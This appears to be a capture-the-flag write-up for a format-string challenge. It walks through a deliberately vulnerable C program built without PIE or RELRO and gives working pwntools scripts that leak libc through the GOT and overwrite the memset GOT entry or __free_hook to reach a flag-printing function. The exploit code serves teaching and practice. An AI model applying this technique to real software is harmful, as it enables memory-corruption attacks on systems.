#fmt_string #GOT_overwrite
# Understanding the Challenge
Source and compile options as usual
Related writeup: [https://debugmen.dev/ctf-writeup/2020/09/20/nothingmoretosay.html](https://debugmen.dev/ctf-writeup/2020/09/20/nothingmoretosay.html)
## Compile Options
`gcc vuln.c -no-pie -Wl,-z,norelro -o vuln`
No pie and no relro (relocation read-only)
## Source
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// gcc vuln.c -no-pie -Wl,-z,norelro -o vuln
int read_flag() {
char flag[32] = {0};
FILE *fd = NULL;
fd = fopen("flag.txt","r");
if(fd == NULL) {
puts("Something went wrong while opening the flag file.");
exit(-1);
}
fgets(flag, 0x30, fd);
printf("The flag is: %s\n", flag);
exit(1);
}
void main() {
char buf[0x40];
while (1) {
fgets(buf, sizeof(buf), stdin);
printf(buf);
puts("Are you finished? [y/n] ");
if (!strncmp(buf, "y", 1)) {
return;
}
memset(buf, 0, 0x40);
}
}
```
# The Vuln
We have unlimited format string bugs to abuse:
```c
while (1) {
fgets(buf, sizeof(buf), stdin);
printf(buf);
...
```
# The Exploit
We have to find the offset on the stack to our input. The screenshot below shows that.
![[Pasted image 20210721195554.png]]
The 6th qword on the stack is our input. If we swap the format specifier and out input then our input will be the 7th qword as long as the format specifier is padded to 8 bytes.
Because the GOT is `norelro`, we can overwrite data on the GOT to call arbirtary code.
So we want to know:
- What to Write
- Where to Write
## What to Write
We want to write the address of the `read_flag` function
## Where to Write
We can write to the GOT entry of `memset`
## How to write
### Pwntools fmtstr_payload
We could use pwntools magic:
```python
from pwn import *
context.binary = elf = ELF("./vuln")
libc = elf.libc
off = 6
io = elf.process()
#gdb.attach(io)
payload = fmtstr_payload(off,{elf.got['memset']:elf.symbols['read_flag']},write_size='int')
io.sendline(payload)
io.interactive()
```
The downside to this is that this will write a bunch of spaces to stdout to align with the size to write. This means it can take some time. This does solve the challenge with only one printf though.
### Manually
We can manually write 1 byte at a time because we have unlimited printfs. However if we try to write 1 byte at a time to `memset` GOT entry then after the first write, memset's address will be incorrect and probably crash.
We will want a different target, one that we only call after all our writes are complete. For this, I chose `__free_hook`. This gets called when we make a larger printf specifier. More info: [https://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free](https://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free)
The reason for `__free_hook` instead of `__malloc_hook` is because `fopen` calls `malloc` which will call `__malloc_hook` so there would be a loop.
To get the address of `__free_hook`, we need to leak libc
##### Libc Leak
We will want to leak libc so we can overwrite `__free_hook`
Leaking data off the GOT will give us a libc leak. However, we need to leak from the GOT a function that has already been resolved because of lazy binding. So, we will want to leak a function that has already been called.
The following code leaks the address of `fgets` in libc
```python
from pwn import *
context.binary = elf = ELF("./vuln")
libc = elf.libc
off = 6
io = elf.process()
#gdb.attach(io)
leak_payload = b"|%7$s|".rjust(8,b"a")
leak_payload += p64(elf.got['fgets'])
io.sendline(leak_payload)
io.readuntil("|")
libc_leak = u64(io.readuntil("|",drop=True).ljust(8,b"\x00"))
libc.address = libc_leak - libc.symbols['fgets']
print("Libc:",hex(libc.address))
io.interactive()
```
# Solve
```python
from pwn import *
context.binary = elf = ELF("./vuln")
libc = elf.libc
off = 6
io = elf.process()
#gdb.attach(io)
leak_payload = b"|%7$s|".rjust(8,b"a")
leak_payload += p64(elf.got['fgets'])
io.sendline(leak_payload)
io.readuntil("|")
libc_leak = u64(io.readuntil("|",drop=True).ljust(8,b"\x00"))
libc.address = libc_leak - libc.symbols['fgets']
print("Libc:",hex(libc.address))
write_where = libc.symbols['__free_hook']
write_what = elf.symbols['read_flag']
writes = re.findall(".{2}",hex(write_what))[1::]
print(writes)
index = 0
for write in writes[::-1]:
overwrite_payload = b"%"+str(int(write,16)).encode().rjust(3,b"0")+b"x"
overwrite_payload += b"%8$hhnzzzzz"
overwrite_payload += p64(write_where+index)
io.sendline(overwrite_payload)
index+=1
io.sendline("%100000c")
io.interactive()
```